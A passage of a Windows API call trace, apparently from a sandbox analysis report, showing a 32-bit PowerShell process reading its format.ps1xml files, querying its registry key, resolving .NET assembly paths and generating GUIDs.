(in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xe3fd2955, Data2=0x9bac, Data3=0x40df, Data4=([0]=0xae, [1]=0xf5, [2]=0x30, [3]=0xa8, [4]=0x92, [5]=0xb6, [6]=0x90, [7]=0x70))) returned 0x0 [0052.202] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x9834456d, Data2=0xb7b3, Data3=0x4201, Data4=([0]=0xbf, [1]=0x64, [2]=0x3e, [3]=0x49, [4]=0xe4, [5]=0xe9, [6]=0x72, [7]=0xdb))) returned 0x0 [0052.206] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x7d456db6, Data2=0x2570, Data3=0x4ef6, Data4=([0]=0x8e, [1]=0x30, [2]=0x52, [3]=0xf, [4]=0xca, [5]=0x46, [6]=0xf3, [7]=0x75))) returned 0x0 [0052.207] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x3a55ae0e, Data2=0xc27, Data3=0x4119, Data4=([0]=0xa1, [1]=0x3c, [2]=0x51, [3]=0x95, [4]=0xc7, [5]=0x82, [6]=0x73, [7]=0x2e))) returned 0x0 [0052.207] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xdcf0d520, Data2=0xc70, Data3=0x4245, Data4=([0]=0x82, [1]=0xc3, [2]=0xab, [3]=0x89, [4]=0x8c, [5]=0xf9, [6]=0x51, [7]=0x2b))) returned 0x0 [0052.207] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x24694cd0, Data2=0xe0a8, Data3=0x49a2, Data4=([0]=0xb6, [1]=0xaa, [2]=0x47, [3]=0xd2, [4]=0x31, [5]=0x24, [6]=0x18, [7]=0xee))) returned 0x0 [0052.207] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27de8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.207] GetLastError () returned 0x0 [0052.207] SetErrorMode (uMode=0x1) returned 0x1 [0052.207] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x310 [0052.207] GetLastError () returned 0x0 [0052.207] GetFileType (hFile=0x310) returned 0x1 [0052.208] SetErrorMode (uMode=0x1) returned 0x1 [0052.208] GetFileType (hFile=0x310) returned 0x1 [0052.208] ReadFile (in: hFile=0x310, lpBuffer=0x2e33ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2e33ec4*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.212] GetLastError () returned 0x0 [0052.213] ReadFile (in: hFile=0x310, lpBuffer=0x2e33ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2e33ec4*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.213] GetLastError () returned 0x0 [0052.214] ReadFile (in: hFile=0x310, lpBuffer=0x2e33ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2e33ec4*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.214] GetLastError () returned 0x0 [0052.214] ReadFile (in: hFile=0x310, lpBuffer=0x2e33ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2e33ec4*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.214] GetLastError () returned 0x0 [0052.214] ReadFile (in: hFile=0x310, lpBuffer=0x2e33ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2e33ec4*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.214] GetLastError () returned 0x0 [0052.214] ReadFile (in: hFile=0x310, lpBuffer=0x2e33ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2e33ec4*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.214] GetLastError () returned 0x0 [0052.214] ReadFile (in: hFile=0x310, lpBuffer=0x2e33ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2e33ec4*, lpNumberOfBytesRead=0x27e3f4*=0xaca, lpOverlapped=0x0) returned 1 [0052.214] GetLastError () returned 0x0 [0052.214] ReadFile (in: hFile=0x310, lpBuffer=0x2e3352e, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2e3352e*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.215] GetLastError () returned 0x0 [0052.215] ReadFile (in: hFile=0x310, lpBuffer=0x2e33ec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2e33ec4*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.215] GetLastError () returned 0x0 [0052.215] CloseHandle (hObject=0x310) returned 1 [0052.215] GetLastError () returned 0x0 [0052.215] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df54, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.215] GetLastError () returned 0x0 [0052.215] SetErrorMode (uMode=0x1) returned 0x1 [0052.215] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2e54ec0 | out: lpFileInformation=0x2e54ec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0052.215] GetLastError () returned 0x0 [0052.215] SetErrorMode (uMode=0x1) returned 0x1 [0052.215] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.215] GetLastError () returned 0x0 [0052.215] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e378 | out: phkResult=0x27e378*=0x310) returned 0x0 [0052.215] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x0, lpcbData=0x27e3bc*=0x0 | out: lpType=0x27e3c0*=0x1, lpData=0x0, lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.215] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x2d1db8, lpcbData=0x27e3bc*=0x56 | out: lpType=0x27e3c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.215] RegCloseKey (hKey=0x310) returned 0x0 [0052.216] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.216] GetLastError () returned 0x0 [0052.216] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27deb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.216] GetLastError () returned 0x0 [0052.226] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a [0052.227] GetLastError () returned 0x0 [0052.227] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0052.227] GetLastError () returned 0x57 [0052.233] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0052.233] GetLastError () returned 0x57 [0052.236] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.237] GetLastError () returned 0x57 [0052.238] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0052.238] GetLastError () returned 0x57 [0052.245] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", lpFilePart=0x0) returned 0x52 [0052.245] GetLastError () returned 0x57 [0052.249] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", lpFilePart=0x0) returned 0x74 [0052.249] GetLastError () returned 0x57 [0052.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0052.250] GetLastError () returned 0x57 [0052.251] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", lpFilePart=0x0) returned 0x60 [0052.251] GetLastError () returned 0x57 [0052.260] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0052.260] GetLastError () returned 0x57 [0052.260] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0052.261] GetLastError () returned 0x57 [0052.261] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0052.261] GetLastError () returned 0x57 [0052.262] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", lpFilePart=0x0) returned 0x50 [0052.262] GetLastError () returned 0x57 [0052.262] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", lpFilePart=0x0) returned 0x5e [0052.262] GetLastError () returned 0x57 [0052.269] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", lpFilePart=0x0) returned 0x6c [0052.269] GetLastError () returned 0x57 [0052.269] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a [0052.269] GetLastError () returned 0x57 [0052.269] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0052.269] GetLastError () returned 0x57 [0052.270] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0052.270] GetLastError () returned 0x57 [0052.270] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbe4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.270] GetLastError () returned 0x57 [0052.270] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.270] GetLastError () returned 0x57 [0052.270] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.270] GetLastError () returned 0x57 [0052.270] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.270] GetLastError () returned 0x57 [0052.270] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.270] GetLastError () returned 0x57 [0052.287] VirtualQuery (in: lpAddress=0x27d0d0, lpBuffer=0x27e0d0, dwLength=0x1c | out: lpBuffer=0x27e0d0*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.290] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x266080b, Data2=0x6fa1, Data3=0x4e97, Data4=([0]=0xb0, [1]=0x1c, [2]=0x54, [3]=0xc5, [4]=0x16, [5]=0xd, [6]=0x6b, [7]=0x66))) returned 0x0 [0052.291] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x932bb9c8, Data2=0x5755, Data3=0x4244, Data4=([0]=0xbd, [1]=0xfd, [2]=0x58, [3]=0x9e, [4]=0xc4, [5]=0x21, [6]=0x6, [7]=0xfa))) returned 0x0 [0052.291] VirtualQuery (in: lpAddress=0x27d148, lpBuffer=0x27e148, dwLength=0x1c | out: lpBuffer=0x27e148*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.291] VirtualQuery (in: lpAddress=0x27d148, lpBuffer=0x27e148, dwLength=0x1c | out: lpBuffer=0x27e148*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.291] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x7b185b73, Data2=0x5bf5, Data3=0x4ee8, Data4=([0]=0x8a, [1]=0xd8, [2]=0x5f, [3]=0xb2, [4]=0x6c, [5]=0xce, [6]=0x8, [7]=0x18))) returned 0x0 [0052.295] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x89e80dd9, Data2=0xb196, Data3=0x4929, Data4=([0]=0xa4, [1]=0x73, [2]=0x7b, [3]=0x9, [4]=0xb2, [5]=0x7, [6]=0x99, [7]=0x80))) returned 0x0 [0052.295] VirtualQuery (in: lpAddress=0x27d274, lpBuffer=0x27e274, dwLength=0x1c | out: lpBuffer=0x27e274*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.295] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.295] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.295] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x4e973527, Data2=0x3b74, Data3=0x4a77, Data4=([0]=0xb1, [1]=0xc9, [2]=0x4a, [3]=0xcf, [4]=0x5, [5]=0x65, [6]=0x1b, [7]=0x13))) returned 0x0 [0052.295] VirtualQuery (in: lpAddress=0x27d274, lpBuffer=0x27e274, dwLength=0x1c | out: lpBuffer=0x27e274*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.295] VirtualQuery (in: lpAddress=0x27d18c, lpBuffer=0x27e18c, dwLength=0x1c | out: lpBuffer=0x27e18c*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.296] VirtualQuery (in: lpAddress=0x27ce40, lpBuffer=0x27de40, dwLength=0x1c | out: lpBuffer=0x27de40*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.296] VirtualQuery (in: lpAddress=0x27ce40, lpBuffer=0x27de40, dwLength=0x1c | out: lpBuffer=0x27de40*(BaseAddress=0x27c000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.296] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x3945ce9d, Data2=0x5466, Data3=0x4061, Data4=([0]=0xae, [1]=0x6, [2]=0xb, [3]=0x56, [4]=0x52, [5]=0x66, [6]=0xd6, [7]=0x41))) returned 0x0 [0052.297] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x494a3b6e, Data2=0xf179, Data3=0x43e3, Data4=([0]=0x88, [1]=0x7a, [2]=0x32, [3]=0x9c, [4]=0x6d, [5]=0x9a, [6]=0x42, [7]=0x54))) returned 0x0 [0052.297] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27de8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.297] GetLastError () returned 0x57 [0052.297] SetErrorMode (uMode=0x1) returned 0x1 [0052.297] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x310 [0052.297] GetLastError () returned 0x0 [0052.297] GetFileType (hFile=0x310) returned 0x1 [0052.297] SetErrorMode (uMode=0x1) returned 0x1 [0052.297] GetFileType (hFile=0x310) returned 0x1 [0052.297] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.298] GetLastError () returned 0x0 [0052.298] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.299] GetLastError () returned 0x0 [0052.299] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.299] GetLastError () returned 0x0 [0052.299] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.299] GetLastError () returned 0x0 [0052.300] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.300] GetLastError () returned 0x0 [0052.300] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.300] GetLastError () returned 0x0 [0052.300] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.300] GetLastError () returned 0x0 [0052.300] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.300] GetLastError () returned 0x0 [0052.301] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, 